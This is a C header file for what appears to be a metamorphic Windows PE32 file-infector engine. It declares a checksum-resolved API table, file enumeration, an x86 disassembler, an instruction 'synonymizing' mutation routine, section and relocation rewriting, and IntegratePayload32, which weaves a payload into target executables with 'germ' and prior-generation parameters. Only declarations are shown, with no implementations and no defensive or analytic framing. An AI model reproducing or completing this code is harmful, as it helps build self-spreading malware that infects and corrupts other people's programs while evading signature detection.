//#define DEBUG
//#define MSGBOX
typedef HANDLE            (WINAPI *FINDFIRSTFILEW)(PCHAR, LPWIN32_FIND_DATAW);
typedef BOOL              (WINAPI *FINDNEXTFILEW)(HANDLE, LPWIN32_FIND_DATAW);
typedef BOOL              (WINAPI *FINDCLOSE)(HANDLE);
typedef HANDLE            (WINAPI *CREATEMUTEXW) (PVOID, BOOL, PWCHAR);
typedef HANDLE            (WINAPI *CREATEFILEW)(PWCHAR, DWORD, DWORD, PVOID, DWORD, DWORD, HANDLE);
typedef NTSTATUS          (WINAPI *LDRLOADDLL) (PWCHAR, DWORD, PUNICODE_STRING, PHANDLE);
typedef VOID              (WINAPI *RTLINITUNICODESTRING) (PUNICODE_STRING, PWCHAR);
typedef int               (WINAPI *MESSAGEBOXW)(DWORD, PWCHAR, PWCHAR, DWORD);
typedef HGLOBAL           (WINAPI *GLOBALALLOC) (UINT, SIZE_T);
typedef HGLOBAL           (WINAPI *GLOBALFREE) (HGLOBAL);
typedef DWORD             (WINAPI *SETFILEPOINTER) (HANDLE, LONG, PLONG, DWORD);
typedef DWORD             (WINAPI *GETFILESIZE) (HANDLE, PDWORD);
typedef BOOL              (WINAPI *READFILE)(HANDLE, PCHAR, DWORD, PDWORD, PVOID);
typedef DWORD             (WINAPI *SRAND) (DWORD);
typedef DWORD             (WINAPI *GETTICKCOUNT) (VOID);
typedef DWORD             (WINAPI *LSTRCMPA)(PCHAR, PCHAR);
typedef DWORD             (WINAPI *LSTRCMPIA)(PCHAR, PCHAR);
typedef BOOL              (WINAPI *ISBADREADPTR) (PVOID, DWORD);
typedef PCHAR             (WINAPI *LSTRCPYA) (PCHAR, PCHAR);
typedef PWCHAR            (WINAPI *LSTRCPYW) (PWCHAR, PWCHAR);
typedef PWCHAR            (WINAPI *LSTRCPYNW) (PWCHAR, PWCHAR, DWORD);
typedef DWORD             (WINAPI *LSTRLENA) (PCHAR);
typedef DWORD             (WINAPI *LSTRLENW) (PWCHAR);
typedef DWORD             (WINAPI *RAND) (VOID);
typedef PVOID             (WINAPI *CHECKSUMMAPPEDFILE) (PVOID, DWORD, PDWORD, PDWORD);
typedef BOOL              (WINAPI *CLOSEHANDLE)(HANDLE);
typedef BOOL              (WINAPI *WRITEFILE)(HANDLE, PCHAR, DWORD, PDWORD, PVOID);
typedef DWORD             (WINAPI *RTLGETLASTWIN32ERROR) ();
typedef PVOID             (WINAPI *RTLADDVECTOREDEXCEPTIONHANDLER) (DWORD, DWORD);
typedef VOID              (WINAPI *RTLEXITUSERTHREAD) (DWORD);

typedef struct _API_TABLE
{
    DWORD dwKernel32Base;
    DWORD dwAdvAPI32Base;
    DWORD dwUser32Base;
    DWORD dwNtDLLBase;
    DWORD dwMsvcrtBase;
    DWORD dwImagehlpBase;
    RTLEXITUSERTHREAD RtlExitUserThread;
    FINDFIRSTFILEW FindFirstFileW;
    FINDNEXTFILEW FindNextFileW;
    RTLADDVECTOREDEXCEPTIONHANDLER RtlAddVectoredExceptionHandler;
    FINDCLOSE FindClose;
    LSTRCMPIA lstrcmpiA;
    WRITEFILE WriteFile;
    CLOSEHANDLE CloseHandle;
    CHECKSUMMAPPEDFILE CheckSumMappedFile;
    RTLINITUNICODESTRING RtlInitUnicodeString;
    LDRLOADDLL LdrLoadDll;
    MESSAGEBOXW MessageBoxW;
    CREATEFILEW CreateFileW;
    GLOBALALLOC GlobalAlloc;
    GETFILESIZE GetFileSize;
    READFILE ReadFile;
    SRAND Srand;
    GETTICKCOUNT GetTickCount;
    LSTRCMPA lstrcmpA;
    ISBADREADPTR IsBadReadPtr;
    LSTRCPYA lstrcpyA;
    LSTRLENA lstrlenA;
    GLOBALFREE GlobalFree;
    LSTRLENW lstrlenW;
    LSTRCPYW lstrcpyW;
    RAND Rand;
    LSTRCPYNW lstrcpynW;
    CREATEMUTEXW CreateMutexW;
    RTLGETLASTWIN32ERROR RtlGetLastWin32Error;
    SETFILEPOINTER SetFilePointer;
}
API_TABLE, *PAPI_TABLE;

DWORD GetFunctionAddress(DWORD dwModuleBase, DWORD dwFunctionCheckSum);

struct _IMPORTED_FUNCTION_ABSTRACTION;
typedef struct _IMPORTED_FUNCTION_ABSTRACTION IMPORTED_FUNCTION_ABSTRACTION, *PIMPORTED_FUNCTION_ABSTRACTION;

struct _IMPORTED_MODULE_ABSTRACTION;
typedef struct _IMPORTED_MODULE_ABSTRACTION IMPORTED_MODULE_ABSTRACTION, *PIMPORTED_MODULE_ABSTRACTION;

struct _IMPORT_ABSTRACTION_TABLE;
typedef struct _IMPORT_ABSTRACTION_TABLE IMPORT_ABSTRACTION_TABLE, *PIMPORT_ABSTRACTION_TABLE;

struct _IMPORTED_FUNCTION_ABSTRACTION
{
    PIMPORTED_FUNCTION_ABSTRACTION pNextImportedFunctionAbstraction;
    PIMPORTED_FUNCTION_ABSTRACTION pPreviousImportedFunctionAbstraction;
    PIMPORTED_MODULE_ABSTRACTION pContainerImportedModuleAbstraction;
    DWORD dwOriginalIATEntryRVA;
    DWORD dwNewIATEntryRVA;
    PCHAR pFunctionName;
    WORD wOrdinal;
    WORD wHint;
};

struct _IMPORTED_MODULE_ABSTRACTION
{
    PIMPORTED_FUNCTION_ABSTRACTION pImportedFunctionAbstractionList;
    PIMPORTED_MODULE_ABSTRACTION pNextImportedModuleAbstraction;
    PIMPORTED_MODULE_ABSTRACTION pPreviousImportedModuleAbstraction;
    DWORD dwNumberOfFunctions;
    PCHAR pModuleName;
};

struct _IMPORT_ABSTRACTION_TABLE
{
    DWORD dwTotalNumberOfModules;
    DWORD dwTotalNumberOfFunctions;
    PIMPORTED_MODULE_ABSTRACTION pFirstImportedModuleAbstraction;
};

VOID CreateIATSectionFromAbstractions32(PAPI_TABLE pAPITable, PIMPORT_ABSTRACTION_TABLE pImportAbstractions, PBYTE *ppPool, PDWORD pdwPoolSize, DWORD dwIATRVA, BOOL bSupressIATRegeneration);
PIMPORT_ABSTRACTION_TABLE GetAbstractionsFromIAT32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PBYTE pIATPool);
VOID FreeIATAbstractions32(PAPI_TABLE pAPITable, PIMPORT_ABSTRACTION_TABLE pImportAbstractions);

typedef struct _EXPORT_ABSTRACTION
{
    WORD wOrdinalIndex;
    PCHAR pName;
    DWORD dwExportedFunctionSectionIndex;
    DWORD dwExportedFunctionSectionOffset;
    PVOID pNextExportAbstraction;
    PVOID pLocationSymbol;
}
EXPORT_ABSTRACTION, *PEXPORT_ABSTRACTION;

typedef struct _EXPORT_ABSTRACTION_TABLE
{
    DWORD dwTotalNumberOfExports;
    DWORD dwNumberOfExportNames;
    PCHAR pExportsName;
    PEXPORT_ABSTRACTION pExportAbstractions;
}
EXPORT_ABSTRACTION_TABLE, *PEXPORT_ABSTRACTION_TABLE;

BOOL CreateEATSectionFromAbstractions32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PEXPORT_ABSTRACTION pExportAbstractions, PBYTE *ppPool, PDWORD pdwPoolSize, DWORD dwTotalNumberOfExports, DWORD dwNumberOfExportNames, PCHAR pExportsName, DWORD dwEATRVA, DWORD dwExportSectionIndex, BOOL bTargetPE32Complete);
PEXPORT_ABSTRACTION_TABLE GetAbstractionsFromEAT32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, DWORD dwExportSectionIndex);
VOID FreeEATAbstractions32(PAPI_TABLE pAPITable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable);

#define RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_LOCATION  0x00000001
#define RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_REFERENCE 0x00000002
#define RELOCATION_ABSTRACTION_TYPE_IAT32_REFERENCE       0x00000004
#define RELOCATION_ABSTRACTION_TYPE_SECTION_END_REFERENCE 0x00000008
#define RELOCATION_ABSTRACTION_TYPE_CODE_REFERENCE        0x00000010
#define RELOCATION_ABSTRACTION_TYPE_ASCII_REFERENCE       0x00000020
#define RELOCATION_ABSTRACTION_TYPE_UNICODE_REFERENCE     0x00000040
#define RELOCATION_ABSTRACTION_TYPE_STRING_REFERENCE      (RELOCATION_ABSTRACTION_TYPE_ASCII_REFERENCE|RELOCATION_ABSTRACTION_TYPE_UNICODE_REFERENCE)
#define RELOCATION_ABSTRACTION_INTERTWINED_ORIGIN         0x00000100
#define RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION    0x00000200
#define RELOCATION_ABSTRACTION_TYPE_CODE_MEMORY_LOCATION  0x00000400
#define RELOCATION_ABSTRACTION_TYPE_CODE_LOCATION         (RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION|RELOCATION_ABSTRACTION_TYPE_CODE_MEMORY_LOCATION)

struct _RELOCATION_ABSTRACTION;
typedef struct _RELOCATION_ABSTRACTION RELOCATION_ABSTRACTION, *PRELOCATION_ABSTRACTION;

typedef struct _RELOCATION_ABSTRACTION
{
    DWORD dwFlags;
    DWORD dwAbsoluteAddressReferenceOffset;
    DWORD dwAbsoluteAddressLocationOffset;
    DWORD dwAbsoluteAddressReferencedSectionIndex;
    DWORD dwAbsoluteAddressLocationSectionIndex;
    PVOID pLocationSymbol;
    PVOID pReferencedSymbol;
    PRELOCATION_ABSTRACTION pNextRelocationAssociation;
};

VOID AugmentRelocationAbstractions32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PRELOCATION_ABSTRACTION pRelocationAbstractions, DWORD dwAugmentationOffsetStart, DWORD dwAugmentationOffsetEnd, DWORD dwAugmentationSize);
BOOL CreateRelocationSectionFromAbstractions32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PRELOCATION_ABSTRACTION pRelocationAbstractions, PBYTE *ppPool, PDWORD pdwPoolSize);
PRELOCATION_ABSTRACTION GetAbstractionsFromRelocations32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PBYTE pRelocationPool, DWORD dwRelocationPoolSize, PIMPORT_ABSTRACTION_TABLE pImportAbstractions);
VOID FreeRelocationAbstractions32(PAPI_TABLE pAPITable, PRELOCATION_ABSTRACTION pRelocationAbstractions);

struct _X86_INSTRUCTION_ABSTRACTION;
typedef struct _X86_INSTRUCTION_ABSTRACTION X86_INSTRUCTION_ABSTRACTION, *PX86_INSTRUCTION_ABSTRACTION;

struct _X86_INSTRUCTION_ABSTRACTION
{
    PX86_INSTRUCTION_ABSTRACTION pPreviousMemoryOrderX86InstructionAbstraction;
    PX86_INSTRUCTION_ABSTRACTION pNextMemoryOrderX86InstructionAbstraction;
    PX86_INSTRUCTION_ABSTRACTION pReferencingX86InstructionAbstractionBranch;
    PX86_INSTRUCTION_ABSTRACTION pX86InstructionAbstractionBranchTree;
    PRELOCATION_ABSTRACTION pDataRelocationAbstraction;
    PRELOCATION_ABSTRACTION pMemoryRelocationAbstraction;
    PEXPORT_ABSTRACTION pExportAbstraction;
    DWORD dwDataSize; // Non-zero indicates that this abstraction represents data, not an instruction
    DWORD dwInstructionLength;
    DWORD dwStandardFlags;
    DWORD dwExtendedFlags;
    DWORD dwInstructionOffset;
    DWORD dwNumberOfPrefixes;
    DWORD dwMemoryOffset;
    DWORD dwDataOffset;
    DWORD dwReferencedAddressOffset;
    LONG lBranchDestinationOffset;
    BYTE SourceRegister;
    BYTE DestinationRegister;
    BYTE ModRM;
    BYTE Mod;
    BYTE Reg;
    BYTE Rm;
    BYTE SIB;
    BYTE Scale;
    BYTE Index;
    BYTE Base;
    BYTE WBit;
    BYTE WBitOpcode;
    BYTE DBit;
    BYTE DBitOpcode;
    BYTE Opcode;
    PBYTE pExtendedDataPool;
    DWORD dwExtendedDataSize;
    BYTE Data[16];
};

typedef struct _X86_CODE_ABSTRACTION_TABLE
{
    DWORD dwNumberOfInstructions;
    DWORD dwTotalCodeSize;
    PX86_INSTRUCTION_ABSTRACTION pInitialX86InstructionAbstraction;
}
X86_CODE_ABSTRACTION_TABLE, *PX86_CODE_ABSTRACTION_TABLE;

typedef struct _X86_CODE_ISLAND_ABSTRACTION
{
    PX86_INSTRUCTION_ABSTRACTION pInitialX86CodeIslandInstruction;
    PX86_INSTRUCTION_ABSTRACTION pFinalX86CodeIslandInstruction;
}
X86_CODE_ISLAND_ABSTRACTION, *PX86_CODE_ISLAND_ABSTRACTION;

typedef struct _X86_CODE_ISLAND_ABSTRACTION_TABLE
{
    PX86_INSTRUCTION_ABSTRACTION pOEPX86InstructionAbstraction;
    DWORD dwNumberOfCodeIslands;
    X86_CODE_ISLAND_ABSTRACTION CodeIslands[1];
}
X86_CODE_ISLAND_ABSTRACTION_TABLE, *PX86_CODE_ISLAND_ABSTRACTION_TABLE;

#define X86InstructionStandardFlagError               0xFFFFFFFF
#define X86InstructionStandardFlagPrefix              0x00000001
#define X86InstructionStandardFlagPrefix66            0x00000002
#define X86InstructionStandardFlagPrefix67            0x00000004
#define X86InstructionStandardFlagData66              0x00000008
#define X86InstructionStandardFlagData8               0x00000010
#define X86InstructionStandardFlagData16              0x00000020
#define X86InstructionStandardFlagData32              0x00000040
#define X86InstructionStandardFlagMemory67            0x00000080
#define X86InstructionStandardFlagMemory8             0x00000100
#define X86InstructionStandardFlagMemory16            0x00000200
#define X86InstructionStandardFlagMemory32            0x00000400
#define X86InstructionStandardFlagModRM               0x00000800
#define X86InstructionStandardFlagDataWBit            0x00001000
#define X86InstructionStandardFlagWBitModRMSingle     0x00002000
#define X86InstructionStandardFlagPrefix0F            0x00004000
#define X86InstructionStandardFlagSIB                 0x00008000
#define X86InstructionStandardFlagAddressModeWBit     0x00010000
#define X86InstructionStandardFlagWBit                (X86InstructionStandardFlagAddressModeWBit|X86InstructionStandardFlagDataWBit|X86InstructionStandardFlagRegWBit|X86InstructionStandardFlagVerbWBit)
#define X86InstructionStandardFlag16BitOverridePrefix (X86InstructionStandardFlagPrefix66|X86InstructionStandardFlagPrefix67)
#define X86InstructionStandardFlagData                (X86InstructionStandardFlagData8|X86InstructionStandardFlagData16|X86InstructionStandardFlagData32)
#define X86InstructionStandardFlagMemory              (X86InstructionStandardFlagMemory8|X86InstructionStandardFlagMemory16|X86InstructionStandardFlagMemory32)
#define X86InstructionStandardFlagRegWBit             0x00020000
#define X86InstructionStandardFlagVerbWBit            0x00040000

#define X86InstructionExtendedFlagXMM                      0x00000001
#define X86InstructionExtendedFlag2xReg32Constant          0x00000002
#define X86InstructionExtendedFlag8BitSingleModRM          0x00000004
#define X86InstructionExtendedFlagSignExtended             0x00000008
#define X86InstructionExtendedFlagBranch8                  0x00000010
#define X86InstructionExtendedFlagBranch32                 0x00000020
#define X86InstructionExtendedFlagBranch                   (X86InstructionExtendedFlagBranch8|X86InstructionExtendedFlagBranch32|X86InstructionExtendedFlagBranchUnknown)
#define X86InstructionExtendedFlagExtendedOpcode           0x00000040
#define X86InstructionExtendedFlagAcculmulator             0x00000080
#define X86InstructionExtendedFlagDBit                     0x00000100
#define X86InstructionExtendedFlagRegistersReversed        0x00000200
#define X86InstructionExtendedFlagRegOpcode                0x00000400
#define X86InstructionExtendedFlag32BitSingleModRM         0x00000800
#define X86InstructionExtendedFlagSingleModRM              (X86InstructionExtendedFlag8BitSingleModRM|X86InstructionExtendedFlag32BitSingleModRM)
#define X86InstructionExtendedFlagInvisibleConstant        0x00001000
#define X86InstructionExtendedFlagEffectiveAddressReversed 0x00002000
#define X86InstructionExtendedFlagInvisibleRegister        0x00004000
#define X86InstructionExtendedFlagConditionalBranch        0x00008000
#define X86InstructionExtendedFlagUnConditionalBranch      0x00010000
#define X86InstructionExtendedFlagCallBranch               0x00020000
#define X86InstructionExtendedFlagIsolatedVerb             0x00040000
#define X86InstructionExtendedFlagBranchUnknown            0x00080000
#define X86InstructionExtendedFlagBranchIsolatedReg        0x00100000
#define X86InstructionExtendedFlagNonModifier              0x00200000
#define X86InstructionExtendedFlagRegToReg                 0x00400000
#define X86InstructionExtendedFlagSegmentRegisters         0x00800000
#define X86InstructionExtendedFlagBlankReg                 0x01000000
#define X86InstructionExtendedFlagEntryPoint               0x02000000
#define X86InstructionExtendedFlagReferencedAddress        0x04000000
#define X86InstructionExtendedFlagFlagSensitive            0x08000000
#define X86InstructionExtendedFlagSwitch                   0x10000000
#define X86InstructionExtendedFlagFrozenCodeIsland         0x20000000

#define DISASSEMBLY_STATUS_SUCCESS 0
#define DISASSEMBLY_STATUS_FATAL_ERROR 1
#define DISASSEMBLY_STATUS_DATA_ERROR 2

PX86_INSTRUCTION_ABSTRACTION IdentifyX86Instruction(PAPI_TABLE pAPITable, PBYTE pCodePool, DWORD dwCodePoolOffset);
PX86_CODE_ABSTRACTION_TABLE AnalyzeX86PE32CodeSequence(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwCodePoolSize, PRELOCATION_ABSTRACTION pRelocationAbstractions, PEXPORT_ABSTRACTION_TABLE pExportAbstractions);
BOOL SolidifyX86CodeIslandAbstractions(PAPI_TABLE pAPITable, PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable, PBYTE *ppSolidifiedCodePool, PDWORD pdwSolidifiedCodePoolSize, PBYTE pTargetPE32Pool);
VOID ReCalculateX86InstructionOffsets(PX86_CODE_ABSTRACTION_TABLE pCodeX86InstructionAbstractionTable);
PX86_CODE_ABSTRACTION_TABLE AnalyzeX86IsolatedCodeSequence(PAPI_TABLE pAPITable, PBYTE pCodePool, DWORD dwCodePoolSize);
VOID FreeX86CodeAbstractions(PAPI_TABLE pAPITable, PX86_CODE_ABSTRACTION_TABLE pCodeAbstractionTable);
VOID FreezeX86CodeIslandAbstractions(PAPI_TABLE pAPITable, PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeIslandAbstractionTable, DWORD dwCodePoolSize, PBYTE *ppFrozenCodeIslandAbstractionPool, PDWORD pdwFrozenCodeIslandAbstractionPoolSize);
DWORD IdentifyEtherealX86BranchCorrespondences(PX86_INSTRUCTION_ABSTRACTION pCodeX86InstructionAbstractions);
DWORD RefreshEtherealX86InstructionIslandTable(PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable);

PVOID GetPhysicalPtrFromRVA(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, DWORD dwRVA);
PIMAGE_SECTION_HEADER GetEnclosingSectionHeader(PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, DWORD dwRVA, PDWORD pdwEnclosingSectionIndex, PBOOL pbSectionEndReference);
DWORD GetSectionIndexByName(PAPI_TABLE pAPITable, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PCHAR pSectionName);
VOID RelocateMemory(PBYTE pDestinationPool, PBYTE pSourcePool, DWORD dwDataSize);

BOOL IntegratePayload32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE pPayloadCodePool, DWORD dwPayloadCodePoolSize, PBYTE *ppIntertwinedPE32Pool, PDWORD pdwIntertwinedPE32PoolSize, BOOL bGermInstance, PBYTE pPreviousFrozenCodeIslandAbstractionTable);

typedef struct _PE32_ABSTRACTION_TABLE
{
    PIMAGE_DOS_HEADER pDOSHeader;
    PIMAGE_FILE_HEADER pFileHeader;
    PIMAGE_OPTIONAL_HEADER pOptionalHeader;
    PIMAGE_SECTION_HEADER pSectionHeaders;
    DWORD dwCodeSectionIndex;
    PRELOCATION_ABSTRACTION pRelocationAbstractions;
    PIMPORT_ABSTRACTION_TABLE pImportAbstractions;
    PX86_CODE_ABSTRACTION_TABLE pCodeAbstractions;
    PEXPORT_ABSTRACTION_TABLE pExportAbstractions;
}
PE32_ABSTRACTION_TABLE, *PPE32_ABSTRACTION_TABLE;

PPE32_ABSTRACTION_TABLE AnalyzeX86PE32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, int nCodePoolSize);

PX86_CODE_ABSTRACTION_TABLE SynonymizeX86CodeAbstractionSequence(PAPI_TABLE pAPITable, PX86_CODE_ABSTRACTION_TABLE pTargetCodeAbstractionTable, PRELOCATION_ABSTRACTION pAddressAbstractions, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable, BOOL bShrinkCode, BOOL bExpandCode);

#define APPLY_SINGLE_EXPAND_SYNONYMS
#define APPLY_DOUBLE_EXPAND_SYNONYMS
#define APPLY_TRIPLE_EXPAND_SYNONYMS

typedef struct _DATA_DIRECTORY_INFORMATION
{
    DWORD dwOffset;
    DWORD dwSize;
    DWORD dwDataDirectoryIndex;
}
DATA_DIRECTORY_INFORMATION, *PDATA_DIRECTORY_INFORMATION;

typedef struct _DATA_DIRECTORY_AUGMENTATION_RECORD
{
    BOOL bContainingSectionAugmented[16];
}
DATA_DIRECTORY_AUGMENTATION_RECORD, *PDATA_DIRECTORY_AUGMENTATION_RECORD;

typedef struct _DATA_DIRECTORY_SECTION_CORRESPONDENCE
{
    DWORD dwNumberOfContainedDataDirectories;
    DATA_DIRECTORY_INFORMATION DataDirectoryInformation[16];
}
DATA_DIRECTORY_SECTION_CORRESPONDENCE, *PDATA_DIRECTORY_SECTION_CORRESPONDENCE;

BOOL AugmentPE32SectionSize(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE *ppAugmentedPE32Pool, PDWORD pdwAugmentedPE32PoolSize, DWORD dwTargetSectionIndex, DWORD dwTargetSectionAugmentationSize, PIMPORT_ABSTRACTION_TABLE pImportAbstractionTable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable);
BOOL AugmentAllRequiredPE32SectionSizes(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE *ppAugmentedPE32Pool, PDWORD pdwAugmentedPE32PoolSize, DWORD dwTargetSectionIndex, DWORD dwTargetDataDirectoryIndex, DWORD dwTargetSectionAugmentationSize, PDATA_DIRECTORY_AUGMENTATION_RECORD pPreviousDataDirectoryAugmentationRecord, PIMPORT_ABSTRACTION_TABLE pImportAbstractionTable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable);
BOOL AugmentIndividualPE32SectionSize(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE *ppAugmentedPE32Pool, PDWORD pdwAugmentedPE32PoolSize, DWORD dwTargetSectionAugmentationSize, DWORD dwTargetSectionIndex, DWORD dwTargetDataDirectoryIndex, PDWORD pdwRequiredAugmentedSectionIndex, PDWORD pdwRequiredSectionAugmentationSize, PDWORD pdwRequiredAugmentedDataDirectoryIndex, PDATA_DIRECTORY_AUGMENTATION_RECORD pCurrentDataDirectoryAugmentationRecord, PIMPORT_ABSTRACTION_TABLE pImportAbstractionTable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable);

#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13

typedef struct ImgDelayDescr
{
    DWORD grAttrs; // attributes
    DWORD rvaDLLName; // RVA to dll name
    DWORD rvaHmod; // RVA of module handle
    DWORD rvaIAT; // RVA of the IAT
    DWORD rvaINT; // RVA of the INT
    DWORD rvaBoundIAT; // RVA of the optional bound IAT
    DWORD rvaUnloadIAT; // RVA of optional copy of original IAT
    DWORD dwTimeStamp; // 0 if not bound, O.W. date/time stamp of DLL bound to (Old BIND)
}
ImgDelayDescr, *PImgDelayDescr;

typedef const ImgDelayDescr *PCImgDelayDescr;

enum DLAttr // Delay Load Attributes
{
    dlattrRva = 0x1, // RVAs are used instead of pointers, having this set indicates a VC7.0, and above delay load descriptor.
};

enum // Delay load import hook notifications
{
    dliStartProcessing, // used to bypass or note helper only
    dliNoteStartProcessing=dliStartProcessing,
    dliNotePreLoadLibrary, // called just before LoadLibrary, can override w/ new HMODULE return val
    dliNotePreGetProcAddress, // called just before GetProcAddress, can override w/ new FARPROC return value
    dliFailLoadLib, // failed to load library, fix it by returning a valid HMODULE
    dliFailGetProc, // failed to get proc address, fix it by returning a valid FARPROC
    dliNoteEndProcessing, // called after all processing is done, no bypass possible at this point except by longjmp()/throw()/RaiseException.
};

typedef struct DelayLoadProc
{
    BOOL fImportByName;
    union
    {
        LPCSTR szProcName;
        DWORD dwOrdinal;
    };
}
DelayLoadProc;

typedef struct DelayLoadInfo
{
    DWORD cb; // size of structure
    PCImgDelayDescr pidd; // raw form of data (everything is there)
    FARPROC *ppfn; // points to address of function to load
    LPCSTR szDll; // name of dll
    DelayLoadProc dlp; // name or ordinal of procedure
    HMODULE hmodCur; // the hInstance of the library we have loaded
    FARPROC pfnCur; // the actual function that will be called
    DWORD dwLastError; // error received (if an error notification)
}
DelayLoadInfo, * PDelayLoadInfo;

typedef FARPROC (WINAPI *PfnDliHook)(unsigned dliNotify, PDelayLoadInfo pdli);

struct _RESOURCE_DIRECTORY_ABSTRACTION;
typedef struct _RESOURCE_DIRECTORY_ABSTRACTION RESOURCE_DIRECTORY_ABSTRACTION, *PRESOURCE_DIRECTORY_ABSTRACTION;

struct _RESOURCE_DIRECTORY_ABSTRACTION
{
    PRESOURCE_DIRECTORY_ABSTRACTION pNextDirectoryAbstraction;
    PRESOURCE_DIRECTORY_ABSTRACTION pPreviousDirectoryAbstraction;
    PRESOURCE_DIRECTORY_ABSTRACTION pSubdirectoryAbstraction;
    PRESOURCE_DIRECTORY_ABSTRACTION pUpperDirectoryAbstraction;
    BOOL bNamedEntry;
    PWCHAR pName;
    DWORD dwID;
    DWORD dwDataSize;
    DWORD dwEntryNumber;
    DWORD dwDirectoryNumber;
    DWORD dwNumberOfIdEntries;
    DWORD dwNumberOfNamedEntries;
    DWORD dwNumberOfDirectories;
    DWORD dwTimeDateStamp;
    PBYTE pData;
};

PRESOURCE_DIRECTORY_ABSTRACTION GetAbstractionsFromResources32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PBYTE pResourcePool, PRESOURCE_DIRECTORY_ABSTRACTION pResourceDirectoryAbstractionContainer, PIMAGE_RESOURCE_DIRECTORY pNextImageResourceDirectory, PDWORD pdwTotalNumberOfEntries, PDWORD pdwTotalNumberOfDirectories, PDWORD pdwTotalRawResourceDataSize);
BOOL CreateResourceSectionFromAbstractions32(PAPI_TABLE pAPITable, PBYTE *ppPool, PDWORD pdwPoolSize, DWORD dwResourceSectionRVA, DWORD dwTotalNumberOfDirectories, DWORD dwTotalNumberOfEntries, PRESOURCE_DIRECTORY_ABSTRACTION pResourceDirectoryAbstractionTree, PIMAGE_RESOURCE_DIRECTORY *ppNextImageResourceDirectory, PDWORD pdwCurrentEntryIndex, PDWORD pdwLastSubdirectoryEntryCount, DWORD dwTotalRawResourceDataSize, PDWORD pdwCurrentRawResourceDataOffset);
PRESOURCE_DIRECTORY_ABSTRACTION AddResourceDirectoryEntry32(PAPI_TABLE pAPITable, PRESOURCE_DIRECTORY_ABSTRACTION pContainerDirectoryAbstraction, PWCHAR pName, DWORD dwNameLength, DWORD dwID, BOOL bNamedEntry, PBYTE pData, DWORD dwDataSize, BOOL bIsDirectory);
VOID FreeResourceAbstractions32(PAPI_TABLE pAPITable, PRESOURCE_DIRECTORY_ABSTRACTION pContainerDirectoryAbstraction);

BOOL AddPE32Section(PAPI_TABLE pAPITable, PBYTE *ppTargetPE32Pool, PDWORD pdwTargetPE32PoolSize, PBYTE pNewSectionName, DWORD dwNewSectionCharecteristics, PBYTE pNewSectionData, DWORD dwNewVirtualSectionDataSize, DWORD dwNewRawSectionDataSize);
BOOL RemovePE32Section(PAPI_TABLE pAPITable, PBYTE *ppTargetPE32Pool, PDWORD pdwTargetPE32PoolSize, DWORD dwSectionIndex);

